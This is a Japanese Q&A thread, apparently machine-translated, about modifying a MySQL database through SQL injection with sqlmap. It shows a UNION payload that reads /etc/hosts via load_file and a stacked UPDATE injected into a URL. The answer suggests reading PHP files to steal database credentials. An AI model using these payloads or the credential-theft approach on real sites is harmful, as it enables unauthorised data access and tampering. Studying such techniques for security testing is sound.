Sqlmapを介してテーブルを更新するにはどうすればよいですか?注射は次のようです:
mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
私はこの特権とロールを持つmysqlユーザーを持っています:
[*] 'testUser'@'localhost' [17]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: SELECT
privilege: SHOW VIEW
privilege: TRIGGER
privilege: UPDATE
[*] 'testUser'@'localhost' [17]:
role: ALTER
role: ALTER ROUTINE
role: CREATE
role: CREATE ROUTINE
role: CREATE TEMPORARY TABLES
role: CREATE VIEW
role: DELETE
role: DROP
role: EVENT
role: EXECUTE
role: FILE
role: INDEX
role: INSERT
role: SELECT
role: SHOW VIEW
role: TRIGGER
role: UPDATE
しかし、それは結果として何も返さないだけです!
UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None
Selectステートメントはうまく機能しますが、sqlmapを介して更新する機会はあるのでしょうか。
これは不可能です。その理由は、PHPのMySQLモジュールは完全なクエリを追加することを許可しないためです。これは機能しません:
http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --
また、UNIONを使用してUPDATE、DELETE、またはINSERTクエリを追加することもできません。これは、SELECTステートメントを結合することしかできないためです。
元のクエリがUPDATEクエリである場合にのみ、SQLインジェクションを介してMySQLデータベースを更新できます。また、これは、データを抽出するSELECTステートメントのSQLインジェクションよりもはるかに制限されています。
しかし、データを変更できる別の方法があります。インジェクションでは、load_file
関数を使用します。この関数が機能する場合は、この関数を使用して、データベースの資格情報を含む.php
メソッドを検索するmysql_connect
ファイルの内容を読み取ることができます。次に、これらの資格情報を使用して、いくつかの条件下でデータベースに接続し、データベースに直接クエリを実行できます。
そして最後に:目隠しをし、片手で背中に縛ってSQLインジェクションを活用できるようになるまでは、sqlmapのようなツールを使用しないことを強くお勧めします。sqlmapを使用するだけではあまり学習できないためです。